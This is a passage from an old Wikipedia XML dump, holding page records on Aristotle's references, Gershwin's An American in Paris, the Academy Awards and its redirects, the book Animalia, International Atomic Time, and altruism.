 | edition = 6&lt;sup&gt;th&lt;/sup&gt; ed.
 | location = London
 | year=1995
 }} An classic overview by one of Aristotle's most important English translators, in print since 1923.
* {{cite book
 | last = Taylor | first = Henry Osborn
 | authorlink = Henry Osborn Taylor
 | url = http://www.ancientlibrary.com/medicine/index.html
 | title = Greek Biology and Medicine
 | year = 1922
 | chapter = Chapter 3: Aristotle's Biology
 | chapterurl = http://www.ancientlibrary.com/medicine/0051.html
 }}
* {{cite book
 | last = Turner | first = William
 | authorlink = William Turner
 | others = Nihil Obstat Remy Lafort, S.T.D.; Censor Imprimatur + John Cardinal Farley, Abp. of New York
 | title = The Catholic Encyclopedia, Volume I: &quot;Aristotle&quot;
 | publisher = Robert Appleton Company
 | edition = 1907
 | year = 1907
 | location=New York
}}
* {{cite book 
  | last = Veatch | first = Henry B.
  | authorlink = Henry Babcock Veatch
  | title=Aristotle: A Contemporary Appreciation 
  | publisher=Indiana U. Press
  | location = Bloomington 
  | year=1974
}} For the general reader.

==External links==
{{Wikisource author}}
{{wikiquote}}
{{commons|Aristotelēs}}

*{{gutenberg author | id=Aristotle | name=Aristotle}}
*[http://Aristotle.thefreelibrary.com/ A brief biography and e-texts presented one chapter at a time]
*[http://www.utm.edu/research/iep/a/aristotl.htm The Internet Encyclopedia of Philosophy: Aristotle.], 2004.
*[http://www.non-contradiction.com/ An extensive collection of Aristotle's philosophy and works, including lesser known texts]
*[http://www.virtuescience.com/nicomachean-ethics.html Nicomachean Ethics by Aristotle.]
*[http://uk.arxiv.org/abs/physics/0505172 Aristotle and Indian logic]
*O'Connor, J. John &amp; Robertson, Edmund F., [http://www-history.mcs.st-andrews.ac.uk/Mathematicians/Aristotle.html Aristotle], 2004.
*{{PerseusAuthor|Aristotle}}
*{{planetmath|id=5840|title=Aristotle}}
*[http://www.greektexts.com/library/Aristotle/index.html Large collection of Aristotle's texts, presented page by page]
*[http://www.greek-literature-online.com/aristotle/ Read Aristotle's works online]
*[http://www.newadvent.org/cathen/01713a.htm Source of most of the Biography and Methodology sections, as well as more overview]
* {{MacTutor Biography|id=Aristotle}}
*[http://www.shvoong.com/books/history/119724-constitution-athens/ a summary of &quot;The Constitution of Athens&quot;]

{{Philosophy navigation}}


[[Category:322 BC deaths|Aristotle]]
[[Category:384 BC births|Aristotle]]
[[Category:Ancient Greek mathematicians]]
[[Category:Ancient Greek philosophers]]
[[Category:Aristotelian philosophers]]
[[Category:Aristotle]]
[[Category:Empiricists]]
[[Category:Greek logicians]]
[[Category:History of philosophy]]
[[Category:History of science]]
[[Category:Meteorologists]]
[[Category:Rhetoric]]
[[Category:Rhetoricians]]

{{Link FA|fi}}

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[[zh:亚里士多德]]</text>
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  <page>
    <title>An American in Paris</title>
    <id>309</id>
    <revision>
      <id>37835840</id>
      <timestamp>2006-02-02T12:39:22Z</timestamp>
      <contributor>
        <username>Japanese Searobin</username>
        <id>153340</id>
      </contributor>
      <minor />
      <comment>+ja:</comment>
      <text xml:space="preserve">: '' ''[[An American in Paris (film)|An American In Paris]]'' is also a 1951 film musical starring [[Gene Kelly]].''

'''''An American in Paris''''' is a [[European-influenced classical music|symphonic]] composition by [[United States|American]] composer [[George Gershwin]] which debuted in [[1928]].  Inspired by Gershwin's time in [[Paris]], it is in the form of an extended [[tone poem]] evoking the sights and energy of the [[France|French]] capital in the [[1920s]].  In addition to the standard instruments of the [[symphony orchestra]], the score features period automobile horns; Gershwin brought back some Parisian taxi-cab horns for the New York premiere of the composition.  

* &quot;An American In Paris&quot; is second only to [[Rhapsody In Blue]] as a favorite of Gershwin's classical compositions.

* The score also features instruments rarely seen in the concert hall: [[celesta]] and [[saxophone]]s.

[[Category:Compositions by George Gershwin]]
[[Category:Symphonic poems|American in Paris, An]]

[[ja:パリのアメリカ人]]
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    <title>Acresses</title>
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    <title>Academy Awards/Best Picture</title>
    <id>311</id>
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      <id>15899048</id>
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        <username>Koyaanis Qatsi</username>
        <id>90</id>
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      <comment>REDIRECt</comment>
      <text xml:space="preserve">#REDIRECT [[Academy Award for Best Picture]]</text>
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    <title>Academy Awards/Best Actor</title>
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      <comment>redirecting to [[Academy Award for Best Actor]]</comment>
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    <title>Academy Awards/Best Supporting Actor</title>
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      <text xml:space="preserve">#REDIRECT [[Academy Award for Best Supporting Actor]]</text>
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    <title>Academy Awards/Best Supporting Actress</title>
    <id>315</id>
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      <id>15899052</id>
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      <text xml:space="preserve">#REDIRECT [[Academy Award for Best Supporting Actress]]</text>
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    <title>Academy Awards/Art Direction</title>
    <id>316</id>
    <revision>
      <id>15899053</id>
      <timestamp>2002-07-13T11:13:39Z</timestamp>
      <contributor>
        <username>Koyaanis Qatsi</username>
        <id>90</id>
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      <text xml:space="preserve">#REDIRECT [[Academy Award for Best Art Direction]]</text>
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    <title>Academy Awards/Directing</title>
    <id>317</id>
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      <id>15899054</id>
      <timestamp>2002-07-14T09:07:06Z</timestamp>
      <contributor>
        <username>Koyaanis Qatsi</username>
        <id>90</id>
      </contributor>
      <comment>*</comment>
      <text xml:space="preserve">#REDIRECT [[Academy Award for Directing]]</text>
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    <title>Academy Awards/Foreign Language Film</title>
    <id>319</id>
    <revision>
      <id>15899055</id>
      <timestamp>2002-07-13T01:06:05Z</timestamp>
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      <comment>*</comment>
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    <title>Academy Awards/Cinematography</title>
    <id>320</id>
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      <timestamp>2002-07-13T11:16:52Z</timestamp>
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        <username>Koyaanis Qatsi</username>
        <id>90</id>
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      <comment>REDIRECT</comment>
      <text xml:space="preserve">#REDIRECT [[Academy Award for Best Cinematography]]</text>
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    <title>Academy Awards/Documentary Feature</title>
    <id>321</id>
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      <text xml:space="preserve">#REDIRECT [[Academy Award for Documentary Feature]]</text>
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    <title>Academy Awards/Music Original Song</title>
    <id>322</id>
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    <title>Academy Awards/Short Film Live Action</title>
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  <page>
    <title>Academy Awards</title>
    <id>324</id>
    <revision>
      <id>42155468</id>
      <timestamp>2006-03-04T04:37:49Z</timestamp>
      <contributor>
        <username>Wikipedical</username>
        <id>729854</id>
      </contributor>
      <comment>/* See also */</comment>
      <text xml:space="preserve">The '''Academy Awards''', popularly known as the '''Oscars''', are the most prominent [[film]] awards in the [[United States]] and arguably the world.  The Awards are granted by the [[Academy of Motion Picture Arts and Sciences]], a professional honorary organization which, [[as of 2003]], had a voting membership of 5,816.  Actors (with a membership of 1,311) make up the largest voting bloc.  The votes have been tabulated and certified by auditing firm [[PricewaterhouseCoopers]] since close to the awards' inception. [http://www.pwc.com/extweb/newcolth.nsf/docid/540E0FBE1B2997EE85256E55005BE8FB]

The [[78th Academy Awards|next Oscars]] will take place on Sunday, [[March 5th]], [[2006]].

==Oscar statuette==
The official name of the Oscar [[statuette]] is the &quot;Academy Award of Merit.&quot; Made of [[gold]]-plated [[britannium]] on a black marble base, it is 13.5 inches (34 cm) tall, weighs 8.5 lbs (3.85 kg) and depicts a [[knight]] holding a [[crusade|crusader]]'s [[sword]] standing on a [[reel]] of film. The root of the name &quot;Oscar&quot; is contested. Some believe it comes from Academy librarian [[Margaret Herrick]], who saw it on a table and said, &quot;it looks just like my uncle Oscar!&quot; Others claim that [[Bette Davis]] named it after her first husband. However it became, the nickname stuck and is used almost as commonly as ''Academy Award'', even by the Academy itself. In fact, the Academy's domain name is ''oscars.org'' and the official website for the Academy Awards is at ''oscar.com''.

==Awards night==
The major awards are given out at a ceremony, most commonly in March following the relevant calendar year. This is an elaborate extravaganza, with the invited guests walking up the red carpet in the creations of the most prominent [[fashion]] designers of the day. The ceremony and extravagant afterparties, including the Academy's Governors Ball, are televised around the world.

The ceremony has consecutively aired on [[American Broadcasting Company|ABC]] since 1976.

==Nominations==
Today, according to Rules 2 and 3 of the official Academy Awards Rules, a film has to open in the previous calendar year (from [[midnight]] [[January 1]] to midnight [[December 31]]) in [[Los Angeles County, California]], to qualify. [http://www.oscars.org/78academyawards/rules/index.html]  Rule 2 states that a film must be &quot;feature-length&quot; (defined as 40 minutes) to qualify for an award (except for Short Subject awards, of course). It must also exist either on a [[35 mm film|35mm]] or [[70 mm film|70mm]] film print OR on a 24fps or 48fps [[progressive scan]] [[digital film]] print with a native resolution no lower than [[SXGA|1280x1024]].

The members of the various branches nominate those in their respective fields (actors are nominated by the actors' branch, etc.) while all members may submit nominees for Best Picture. The winners are then determined by a second round of voting in which all members are now allowed to vote in all categories.

==Membership==
Academy membership may be obtained by one of two ways: a competitive nomination (however, the nominee must be invited to join) or a member may submit a name, seconded by at least two other members, then voted upon by the Board of Governors. The Academy does not publicly disclose its membership, although past press releases have announced the names of those who have been invited to join. If a person not yet a member is nominated in more than one category in a single year, he/she must choose which branch to join when he/she accepts membership.

==Awards==
[[Image:BobHopegettingOsca.jpg|thumb|Although he never won an Oscar for any of his movie performances, the comedian [[Bob Hope]] received five honorary Oscars for contributions to cinema and humanitarian work.]]
===Academy Award of Merit===

====Current awards====
*[[Academy Award for Best Picture|Best Picture]]&amp;nbsp;&amp;ndash; [[1928]] to present
*[[Academy Award for Best Actor|Best Leading Actor]]&amp;nbsp;&amp;ndash; [[1928]] to present
*[[Academy Award for Best Actress|Best Leading Actress]]&amp;nbsp;&amp;ndash; [[1928]] to present
*[[Academy Award for Best Supporting Actor|Best Supporting Actor]]&amp;nbsp;&amp;ndash; [[1936]] to present
*[[Academy Award for Best Supporting Actress|Best Supporting Actress]]&amp;nbsp;&amp;ndash; [[1936]] to present
*[[Academy Award for Best Animated Feature|Best Animated Feature]]&amp;nbsp;&amp;ndash; [[2001]] to present
*[[Academy Award for Best Art Direction|Best Art Direction]]&amp;nbsp;&amp;ndash; [[1928]] to present (also called Interior or Set Decoration)
*[[Academy Award for Best Cinematography|Best Cinematography]]&amp;nbsp;&amp;ndash; [[1928]] to present
*[[Academy Award for Costume Design|Best Costume Design]]&amp;nbsp;&amp;ndash; [[1948]] to present
*[[Academy Award for Directing|Best Director]]&amp;nbsp;&amp;ndash; [[1928]] to present
*[[Academy Award for Documentary Feature|Best Documentary Feature]]
*[[Academy Award for Documentary Short Subject|Best Documentary Short Subject]]
*[[Academy Award for Film Editing|Best Film Editing]]&amp;nbsp;&amp;ndash; [[1935]] to present
*[[Academy Award for Best Foreign Language Film|Best Foreign Language Film]]&amp;nbsp;&amp;ndash; [[1947]] to present
*[[Academy Award for Makeup|Best Makeup]]&amp;nbsp;&amp;ndash; [[1981]] to present
*[[Academy Award for Original Music Score|Best Original Score]]; [[1934]] to present
*[[Academy Award for Best Song|Best Original Song]]&amp;nbsp;&amp;ndash; [[1934]] to present
*[[Academy Award for Best Song|Best Original Musical]]&amp;nbsp;&amp;ndash; [[1934]] to present
*[[Academy Award for Animated Short Film|Best Animated Short Film]]&amp;nbsp;&amp;ndash; [[1931]] to present
*[[Academy Award for Live Action Short Film|Best Live Action Short Film]]
*[[Academy Award for Sound|Best Sound Mixing]]; [[1930]] to present
*[[Academy Award for Sound Effects Editing|Best Sound Editing]]&amp;nbsp;&amp;ndash; [[1963]] to present
*[[Academy Award for Visual Effects|Best Visual Effects]]&amp;nbsp;&amp;ndash; [[1939]] to present
*[[Academy Award for Writing Adapted Screenplay|Best Adapted Screenplay]]&amp;nbsp;&amp;ndash; [[1928]] to present
*[[Academy Award for Writing Original Screenplay|Best Original Screenplay]]&amp;nbsp;&amp;ndash; [[1940]] to present

====Retired awards====
*[[Academy Award for Best Assistant Director|Best Assistant Director]]&amp;nbsp;&amp;ndash; [[1933]] to [[1937]] 
*[[Academy Award for Best Dance Direction|Best Dance Direction]]&amp;nbsp;&amp;ndash; [[1935]] to [[1937]]
*[[Academy Award for Engineering Effects|Best Engineering Effects]]&amp;nbsp;&amp;ndash; [[1928]] only
*Best Score -- Adaptation or Treatment
*[[Academy Award for Best Short Film - Color|Best Short Film - Color]]&amp;nbsp;&amp;ndash; [[1936]] and [[1937]]
*[[Academy Award for Best Short Film - Live Action - 2 Reels|Best Short Film - Live Action - 2 Reels]]&amp;nbsp;&amp;ndash; [[1936]] to [[1956]]
*[[Academy Award for Short Film - Novelty|Best Short Film - Novelty]]&amp;nbsp;&amp;ndash; [[1932]] to [[1935]]
*[[Academy Award for Best Story|Best Original Story]]&amp;nbsp;&amp;ndash; [[1928]] to [[1956]]
*[[Academy Award for Best Title Writing|Best Title Writing]]&amp;nbsp;&amp;ndash; [[1928]] only
*[[Academy Award for Unique and Artistic Production|Best Unique and Artistic Quality of Production]]&amp;nbsp;&amp;ndash; [[1928]] only

In the first year of the awards, the Best Director category was split into separate Drama and Comedy categories. At times, the Best Original Score category has been split into separate Drama and Comedy/Musical categories. Today, the Best Original Score category is one category. From the 1930s through the 1960s, the Cinematography, Art Direction, and Costume Design awards were split into separate categories for black and white and color films.

===Special awards===
These awards are voted on by special committees, rather than by the Academy membership as a whole.

====Current awards====
*[[Academy Honorary Award]]&amp;nbsp;&amp;ndash; [[1928]] to present
*[[Academy Special Achievement Award]]
* [[Academy Award, Scientific or Technical]]&amp;nbsp;&amp;ndash;  [[1931]] to present at three levels
*[[The Irving G. Thalberg Memorial Award]]&amp;nbsp;&amp;ndash; [[1938]] to present
*[[The Jean Hersholt Humanitarian Award]]
*[[Gordon E. Sawyer Award]]

====Retired awards ====
*[[Academy Juvenile Award]]&amp;nbsp;&amp;ndash; [[1934]] to [[1960]]

==Academy Award statistics==
*[[Academy Award statistics: Films receiving 10 or more nominations]]
*[[Academy Award statistics: Films receiving 8 or more awards]]
*[[Academy Award statistics: Films receiving awards for Best Picture, Directing, Actor, Actress and Writing]]
*[[Academy Award statistics: Films receiving 3 or more acting nominations]]
*[[Academy Award statistics: Actors receiving 5 or more nominations]]
*[[Academy Award statistics: Actors receiving 2 or more awards]]
*[[Academy Award statistics: Directors receiving 3 or more nominations]]

==See also==
*[[List of Academy Awards ceremonies]]
*[[List of movies that have won eight or more Academy Awards]]
*[[List of Academy Award winning movies]]
*[[78th Academy Awards]] ([[2006]])

==References==
Gail, K. &amp; Piazza, J. (2002) ''The Academy Awards the Complete History of Oscar.'' Black Dog &amp; Leventhal Publishers, Inc.

==External links==
{{Wiktionary}}
* [http://www.oscars.org/ Oscars.org]
* [http://www.oscars.org/awardsdatabase/index.html The Academy Awards Database]
* [http://www.oscar.com Oscar.com]
* [http://www.imdb.com/Sections/Awards/Academy_Awards_USA/ The Academy Awards] at [[The Internet Movie Database]]

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    <title>Action Film</title>
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      <timestamp>2002-08-04T00:46:46Z</timestamp>
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        <username>Maveric149</username>
        <id>62</id>
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      <minor />
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  <page>
    <title>Actors</title>
    <id>326</id>
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      <id>28000771</id>
      <timestamp>2005-11-11T06:10:02Z</timestamp>
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        <username>RoyBoy</username>
        <id>94806</id>
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      <minor />
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      <text xml:space="preserve">#REDIRECT [[Actor]]</text>
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    <title>Actors/Male</title>
    <id>328</id>
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      <id>15899064</id>
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        <username>Timwi</username>
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      <minor />
      <comment>fix double-redirect</comment>
      <text xml:space="preserve">#REDIRECT [[List of male movie actors (A-K)]]</text>
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    <title>Actresses</title>
    <id>330</id>
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      <id>15899066</id>
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  <page>
    <title>Animalia (book)</title>
    <id>332</id>
    <revision>
      <id>41366701</id>
      <timestamp>2006-02-26T22:06:27Z</timestamp>
      <contributor>
        <username>Cherry blossom tree</username>
        <id>92624</id>
      </contributor>
      <comment>remove, er, just words, really. i suppose.</comment>
      <text xml:space="preserve">{{dablink|For the kingdom of life, see [[Animal]].}}

[[Image:Animalia.jpg|thumb|120px|Animalia Cover.]]'''Animalia''' is an illustrated [[Children's literature|children's book]] by [[Graeme Base]].  It was published in [[1986]].  

Animalia is an alphabet book and contains twenty six illustrations, one for each letter of the alphabet.  Each illustration features an animal from the animal kingdom (A is for [[alligator]], B is for [[butterfly]], etc).  The illustrations contain dozens of small objects that the curious reader can try to identify.

Base also published a [[coloring book]] version [http://www.alibris.com/search/search.cfm?qwork=7937230&amp;wauth=Base%2C%20Graeme&amp;matches=16&amp;qsort=r&amp;cm_re=works*listing*title] for children to do their own coloring.

==External links==
* [http://www.tellapallet.com/animalia.htm A web site that contains a fairly comprehensive list of items hidden in Animalia's illustrations]
* [http://www.amazon.com/gp/product/0810918684   Animalia on Amazon.com]
* [https://www.graemebase.com/Home.cfm Graeme Base's Official website]

[[Category:Children's books]]

[[sk:Živočíchy]]</text>
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  </page>
  <page>
    <title>Asymmetric Algorithms</title>
    <id>333</id>
    <revision>
      <id>23401668</id>
      <timestamp>2005-09-17T16:42:05Z</timestamp>
      <contributor>
        <username>Hurricane111</username>
        <id>99272</id>
      </contributor>
      <comment>Fixed double redirect; [[Wikipedia:Computer help desk/cleanup/double redirects/20050713|You can help!]].</comment>
      <text xml:space="preserve">#REDIRECT [[Public-key cryptography]]</text>
    </revision>
  </page>
  <page>
    <title>International Atomic Time</title>
    <id>334</id>
    <revision>
      <id>36597984</id>
      <timestamp>2006-01-25T04:14:11Z</timestamp>
      <contributor>
        <username>ShakataGaNai</username>
        <id>60232</id>
      </contributor>
      <minor />
      <comment>utc disambig</comment>
      <text xml:space="preserve">'''Temps Atomique International''' ('''TAI''') or '''International Atomic Time''' is a very accurate and stable [[time scale]].  It is a weighted average of the time kept by about 300 [[atomic clock]]s (including a large number of  [[caesium]] atomic clocks) in over 50 national laboratories worldwide.  It has been available since [[1955]], and became the international standard on which [[Coordinated Universal Time|UTC]] is based on [[January 1]], [[1972]], as decided by the 14th [[General Conference on Weights and Measures]] (CGPM). The [[International Bureau of Weights and Measures]] is in charge of the realization of TAI.

The highest precision realization of TAI times can only be determined retrospectively, as the timescale is defined by periodic comparisons among its participating atomic clocks. However, these corrections are usually only needed for applications that require nanosecond-scale accuracy.  Most time service users use realtime estimates of TAI provided by atomic clocks that have been previously referenced to the composite timescale.  [[Global Positioning System|GPS]] is a commonly-used realtime source of time traceable back to TAI.

[[Coordinated Universal Time]] (UTC) is the basis for legal time throughout much of the world, and always differs from TAI by an integral number of seconds.  From [[1 January]] [[2006]], UTC was behind TAI by 33 seconds.  The difference is due to an initial ten second offset on [[1 January]] [[1972]] when UTC was established and [[leap second]]s, which have been periodically inserted into UTC since the first on [[30 June]] [[1972]] due to slight irregularities in Earth's rate of rotation.  While TAI is a continuous and stable timescale, UTC has intentional discontinuities to keep it from drifting more than 0.9 second from [[UT1]], a timescale defined by the Earth's rotation.  Roughly speaking, solar noon (the time at which the sun is directly overhead) would drift away from 12:00:00 without leap second corrections.  UT1 is computed by the [[International Earth Rotation and Reference Systems Service]] (IERS).  TAI was defined such that TAI = [[UT2]] on [[January 1]] [[1958]].  

Because UTC is a discontinuous timescale, it is not possible to compute the exact time interval elapsed between two UTC timestamps without consulting a table that describes how many leap seconds occurred during that interval.  Therefore, many scientific applications that require precise measurement of long (multi-year) intervals use TAI instead.  TAI is also commonly used by systems that can not handle leap seconds.

==See also==
* [[Terrestrial Time]]
* [[Coordinated Universal Time]]
* [[Universal Time]]
* [[Sidereal Time]]
* [[Time and frequency transfer]]
* [[Clock synchronization]]
* [[Network Time Protocol]]

==External links==
* [http://www.bipm.fr/enus/5_Scientific/c_time/time_1.html ''Bureau International des Poids et Mesures'']
* [http://hpiers.obspm.fr IERS website]
* [http://www.boulder.nist.gov/timefreq/general/faq.htm  ''NIST Time and Frequency FAQs'']

&lt;!--Categories--&gt;
[[Category:Time scales]]

&lt;!--Interwiki--&gt;

[[de:Internationale Atomzeit]]
[[eo:TAI]]
[[es:Tiempo atómico]]
[[fr:Temps atomique international]]
[[he:&amp;#1492;&amp;#1494;&amp;#1502;&amp;#1503; &amp;#1492;&amp;#1488;&amp;#1496;&amp;#1493;&amp;#1502;&amp;#1497; &amp;#1492;&amp;#1489;&amp;#1497;&amp;#1504;&amp;#1500;&amp;#1488;&amp;#1493;&amp;#1502;&amp;#1497;]]
[[id:Waktu Atom Internasional]]
[[ja:国際原子時]]
[[pl:Mi&amp;#281;dzynarodowy czas atomowy]]
[[ru:Международное атомное время]]
[[sk:Medzin&amp;#225;rodn&amp;#253; at&amp;#243;mov&amp;#253; &amp;#269;as]]
[[zh:&amp;#21407;&amp;#23376;&amp;#26102;]]
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  </page>
  <page>
    <title>Altruism</title>
    <id>336</id>
    <revision>
      <id>41949335</id>
      <timestamp>2006-03-02T20:54:01Z</timestamp>
      <contributor>
        <ip>66.147.108.78</ip>
      </contributor>
      <comment>/* Altruism and religion */</comment>
      <text xml:space="preserve">'''Altruism''' is considered a belief, a practice, a habit, or an [[ethics|ethical doctrine]]. Many cultures and religious traditions judge altruism to be [[virtue|virtuous]]. In English, the idea was often described as [[Ethic of reciprocity|Golden rule of ethics]]. In [[Buddhism]] it is considered a fundamental property of [[human nature]].

''Altruism'' can refer to:

* being helpful to other people with little or no interest in being rewarded for one's efforts (the colloquial definition). This is distinct from merely helping others.

* actions that benefit others with a net detrimental or neutral effect on the actor, regardless of the actor's own psychology, motivation, or the cause of his or her actions. This type of altruistic behavior is referred to in [[ecology]] as ''[[Commensalism]]''.

* an ethical doctrine that holds that individuals have a moral obligation to help others, if necessary to the exclusion of one's own interest or benefit. One who holds such a doctrine is known as an &quot;altruist.&quot;

The concepts have a long history in [[philosophical]] and [[ethical]] thought, and have more recently become a topic for [[psychologists]], [[sociologists]], [[evolution]]ary biologists, and [[ethology|ethologists]]. While ideas about altruism from one field can have an impact on the other fields, the different methods and focuses of these fields lead to different perspectives on altruism.

Altruism can be distinguished from a feeling of [[loyalty]] and [[duty]]. Altruism focuses on a moral obligation towards all [[humanity]], while duty focuses on a moral obligation towards a specific individual (e.g. a [[king]]), a specific organization (e.g. a [[government]]), or an abstract concept (e.g. [[God]], [[country]] etc). Some individuals may feel both altruism and duty, while others may not. As opposed to altruism, duty is much easier to enforce by an [[authority]].

==Altruism in ethics==
''Main article: [[Altruism (ethical doctrine)]]''

The word &quot;altruism&quot; (''French, altruisme, from autrui: &quot;other people&quot;, derived from Latin alter: &quot;other&quot;'') was coined by [[Auguste Comte]], the French founder of [[positivism]], in order to describe the ethical doctrine he supported. He believed that individuals had a moral obligation to serve the interest of others or the &quot;greater good&quot; of humanity. Comte says, in his Catechisme Positiviste, that ''&quot;[the] social point of view cannot tolerate the notion of rights, for such notion rests on individualism. We are born under a load of obligations of every kind, to our predecessors, to our successors, to our contemporaries. After our birth these obligations increase or accumulate, for it is some time before we can return any service.... This [&quot;to live for others&quot;], the definitive formula of human morality, gives a direct sanction exclusively to our instincts of benevolence, the common source of happiness and duty. [Man must serve] Humanity, whose we are entirely.&quot;'' As the name of the ethical doctrine is &quot;altruism,&quot; doing what the ethical doctrine prescribes has also come to be referred to by the term &quot;altruism&quot; -- serving others through placing their interests above one's own.

However, the idea that one has a moral obligation to serve others is much older than Auguste Comte. For example, many of the world's oldest and most widespread [[religion]]s (particularly [[Buddhism]] and [[Christianity]]) advocate it. In the [[New Testament]] of the [[Christianity|Christian]] [[Bible]], it is explained as follows:
:&quot;Jesus made answer and said, ''A certain man was going down from Jerusalem to Jericho; and he fell among robbers, who both stripped him and beat him, and departed, leaving him half dead. And by chance a certain priest was going down that way: and when he saw him, he passed by on the other side. And in like manner a Levite also, when he came to the place, and saw him, passed by on the other side. But a certain Samaritan, as he journeyed, came where he was: and when he saw him, he was moved with compassion, and came to him, and bound up his wounds, pouring on [them] oil and wine; and he set him on his own beast, and brought him to an inn, and took care of him. And on the morrow he took out two shillings, and gave them to the host, and said, Take care of him; and whatsoever thou spendest more, I, when I come back again, will repay thee.'' Which of these three, thinkest thou, proved neighbor unto him that fell among the robbers? And he said, He that showed mercy on him. And Jesus said unto him, '''Go, and do thou likewise.'''&quot; ''(Luke 10: 30-37)''

Philosophers who support [[ethical egoism|egoism]] have argued that altruism is demeaning to the individual and that no moral obligation to help others actually exists. [[Nietzsche]] asserts that altruism is predicated on the assumption that others are more important than one's self and that such a position is degrading and demeaning. He also claims that it was very uncommon for people in Europe to consider the sacrifice of one's own interests for others as virtuous until after the advent of Christianity. [[Ayn Rand]] argued that altruism is the willful sacrifice of one's values, and represents the reversal of morality because only a rationally selfish ethics allows one to pursue the values required for human life.

Advocates of altruism as an ethical doctrine maintain that one ought to act, or refrain from acting, so that benefit or [[good (economics)|good]] is bestowed on other people, if necessary to the exclusion of one's own interests (Note that refraining from murdering someone, for example, is not altruism since he is not receiving a benefit or being helped, as he already has his life; this would amount to the same thing as ignoring someone).

==Altruism in ethology and evolutionary biology==
In the science of [[ethology]] (the study of behavior), altruism refers to behavior by an individual that increases the [[fitness (biology)|fitness]] of another individual while decreasing the fitness of the actor. This would appear to be counter-intuitive if one presumes that [[natural selection]] acts on the individual. Natural selection, however, acts on the gene pool of the subjects, not on each subject individually. Recent developments in [[game theory]] have provided some explanations for apparent altruism, as have traditional evolutionary analyses. Among the proposed mechanisms are:

* [[Behavioral manipulation]] (e.g., by certain [[parasites]] that can alter the behavior of the host, see [http://news.yahoo.com/s/space/20060211/sc_space/mindcontrolbyparasites])
* [[Bounded rationality]] (e.g., [[Herbert Simon]])
* [[Conscience]]
* [[Indirect reciprocity]] (e.g., [[reputation]])
* [[Kin selection]] including [[eusociality]] (see also &quot;[[selfish gene]]&quot;)
* [[Meme]]s (by influencing behavior to favour their own spread, e.g.,  [[religion]])
* [[Reciprocal altruism]], mutual aid
* [[Sexual selection]]
* [[Strong reciprocity]]

The study of altruism was the initial impetus behind [[George R. Price]]'s development of the [[Price equation]] which is a mathematical equation used to study genetic evolution. An interesting example of altruism is found in the cellular [[slime mould]]s, such as ''[[Dictyostelid|Dictyostelium]] mucoroides''. These protists live as individual [[amoebae]] until starved, at which point they aggregate and form a multicellular fruiting body in which some cells sacrifice themselves to promote the survival of other cells in the fruiting body. Social behavior and altruism share many similaraties to the interactions between the many parts (cells, genes) of an organism, but are distinguished by the ability of each individual to reproduce indefinitely without an absolute requirement for its neighbors.

==Altruism in psychology and sociology==
If one performs an act beneficial to others with a view to gaining some personal benefit, then it is not an altruistically motivated act. There are several different perspectives on how &quot;benefit&quot; (or &quot;interest&quot;) should be defined. A material gain (e.g. money, a physical reward, etc.) is clearly a form of benefit, while others identify and include both material and immaterial gains (affection, respect, happiness, satisfaction etc.) as being philosophically identical benefits.

According to ''[[psychological egoism]]'', while people can exhibit altruistic ''behavior'', they cannot have altruistic ''motivations''. Psychological egoists would say that while they might very well spend their lives benefitting others with no material benefit (or a material net loss) to themselves, their most basic motive for doing so is always to further their own interests. For example, it would be alleged that the foundational motive behind a person acting this way is to advance their own psychological well-being (&quot;good feeling&quot;). Critics of this theory often reject it on the grounds that it is [[falsifiability|non-falsifiable]]; in other words, it is designed in such a way as to be impossible to prove or disprove - because immaterial gains such as a &quot;good feeling&quot; cannot be measured or proven to exist in all people performing altruistic acts. Psychological egoism has also been accused of using [[circular logic]]: &quot;If a person willingly performs an act, that means he derives personal enjoyment from it; therefore, people only perform acts that give them personal enjoyment&quot;. This statement is circular because its conclusion is identical to its hypothesis (it assumes that people only perform acts that give them personal enjoyment, and concludes that people only perform acts that give them personal enjoyment).

In contrast to psychological egoism, the ''[[empathy-altruism]]'' hypothesis states that when an individual experiences empathy towards someone in need, the individual will then be altruistically motivated to help that person; that is, the individual will be primarily concerned about that person's welfare, not his or her own.  

In common parlance, altruism usually means helping another person without expecting material reward from that or other persons, although it may well entail the &quot;internal&quot; benefit of a &quot;good feeling,&quot; sense of satisfaction, self-esteem, fulfillment of duty (whether imposed by a religion or ideology or simply one's conscience), or the like. In this way one need not speculate on the motives of the altruist in question.

Humans are not exclusively altruistic towards family members, previous co-operators or potential future allies, but can be altruistic towards people they don't know and will never meet.  For example, humans donate to international [[charity|charities]] and volunteer their time to help [[society]]'s less fortunate. 

It strains plausibility to claim that these altruistic deeds are done in the hope of a return favor. The game theory analysis of this 'just in case' strategy, where the principle would be 'always help everyone in case you need to pull in a favor in return', is a decidedly ''non-optimal'' strategy, where the net expenditure of effort (tit) is far greater than the net profit when it occasionally pays off (tat). 

According to some, it is difficult to believe that these behaviors are solely explained as indirect selfish [[rationality]], be it conscious or sub-conscious. Mathematical formulations of [[kin selection]], along the lines of the [[prisoner's dilemma]], are helpful as far as they go; but what a [[game theory|game-theoretic]] explanation glosses over is the fact that altruistic behavior can be attributed to that apparently mysterious phenomenon, the [[conscience]]. One recent suggestion, proposed by the philosopher [[Daniel Dennett]], was initially developed when considering the problem of so-called 'free riders' in the [[tragedy of the commons]], a larger-scale version of the [[prisoner's dilemma]].

In [[game theory]] terms, a free rider is an [[agent (grammar)|agent]] who draws benefits from a co-operative society without contributing. In a one-to-one situation, free riding can easily be discouraged by a tit-for-tat strategy. But in a larger-scale society, where contributions and benefits are pooled and shared, they can be incredibly difficult to shake off. 

Imagine an elementary society of co-operative organisms. Co-operative agents interact with each other, each contributing resources and each drawing on the common good. Now imagine a [[rogue]] [[free rider]], an agent who draws a favor (&quot;you scratch my back&quot;) and later refuses to return it. The problem is that free riding is always going to be beneficial to individuals at cost to society. How can well-behaved co-operative agents avoid being cheated? Over many generations, one obvious solution is for co-operators to evolve the ability to spot potential free riders in advance and refuse to enter into [[reciprocal]] arrangements with them. Then, the canonical free rider response is to evolve a more convincing [[disguise]], fooling co-operators into co-operating after all. This can lead to an evolutionary [[arms race]]s, with ever-more-sophisticated disguises and ever-more-sophisticated detectors.

In this evolutionary arms race, how best might one convince comrades that one ''really is'' a genuine co-operator, not a free rider in disguise?  One answer is by ''actually making oneself'' a  genuine co-operator, by erecting [[psychological barriers]] to breaking promises, and by advertising this fact to everyone else. In other words, a good solution is for organisms to evolve things that everyone knows will force them to be co-operators - and to make it obvious that they've evolved these things. So evolution will produce organisms who are sincerely moral and who wear their hearts on their sleeves; in short, evolution will give rise to the phenomenon of conscience. 

This theory, combined with ideas of [[kin selection]] and the one-to-one sharing of benefits, may explain how a blind and fundamentally selfish process can produce a genuinely non-cynical form of altruism that gives rise to the human conscience.

